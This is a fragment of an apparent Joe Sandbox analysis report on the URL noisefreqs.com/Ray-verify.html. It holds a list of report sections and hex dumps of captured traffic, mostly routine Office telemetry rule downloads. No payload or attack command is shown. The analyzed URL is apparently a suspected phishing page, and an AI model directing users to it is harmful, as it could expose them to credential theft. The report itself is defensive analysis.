2024-11-29 23:41:07 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: cbf1ebf9-7027-4675-bdf7-ffd59f1b916e MS-RequestId: 34e54d15-b759-436a-91e1-fba575a1899c MS-CV: 100dZsRqqkWiUuHk.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 29 Nov 2024 23:41:05 GMT Connection: close Content-Length: 30005
2024-11-29 23:41:07 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-29 23:41:07 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Timestamp	Bytes transferred	Direction	Data
2024-11-29 23:41:09 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 23:41:09 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 23:41:09 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 27 Nov 2024 15:11:14 GMT ETag: "0x8DD0EF5BC53602D" x-ms-request-id: a5a19dc6-401e-008c-1dff-4086c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T234109Z-174f7845968cdxdrhC1EWRg0en00000010fg00000000mryf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 23:41:09 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-29 23:41:09 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-29 23:41:10 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-29 23:41:10 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-29 23:41:10 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-29 23:41:10 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-29 23:41:10 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-29 23:41:10 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-29 23:41:10 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-29 23:41:10 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://noisefreqs.com/Ray-verify.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 45

Chrome Cache Entry: 46

Chrome Cache Entry: 47

Chrome Cache Entry: 48

Chrome Cache Entry: 49

Chrome Cache Entry: 50

Chrome Cache Entry: 51

Chrome Cache Entry: 52

Chrome Cache Entry: 53

Chrome Cache Entry: 54

Chrome Cache Entry: 55

Chrome Cache Entry: 56

Chrome Cache Entry: 57

Chrome Cache Entry: 58

Chrome Cache Entry: 59

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Static File Info

Windows Analysis Report
https://noisefreqs.com/Ray-verify.html

Timestamp	Bytes transferred	Direction	Data
2024-11-29 23:41:12 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 23:41:12 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 23:41:12 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 4b7a9d83-201e-000c-6905-4179c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T234112Z-174f7845968pght8hC1EWRyvxg00000003sg000000009k63 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 23:41:12 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Timestamp	Bytes transferred	Direction	Data
2024-11-29 23:41:12 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 23:41:12 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 23:41:12 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T234112Z-174f7845968xlwnmhC1EWR0sv800000010hg000000002kd5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 23:41:12 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Timestamp	Bytes transferred	Direction	Data
2024-11-29 23:41:12 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 23:41:12 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 23:41:12 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T234112Z-174f7845968xlwnmhC1EWR0sv800000010kg0000000008ch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 23:41:12 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Timestamp	Bytes transferred	Direction	Data
2024-11-29 23:41:12 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 23:41:12 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 23:41:12 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 44a2812f-d01e-0028-1207-427896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T234112Z-174f7845968j6t2phC1EWRcfe800000010u0000000006t31 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 23:41:12 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 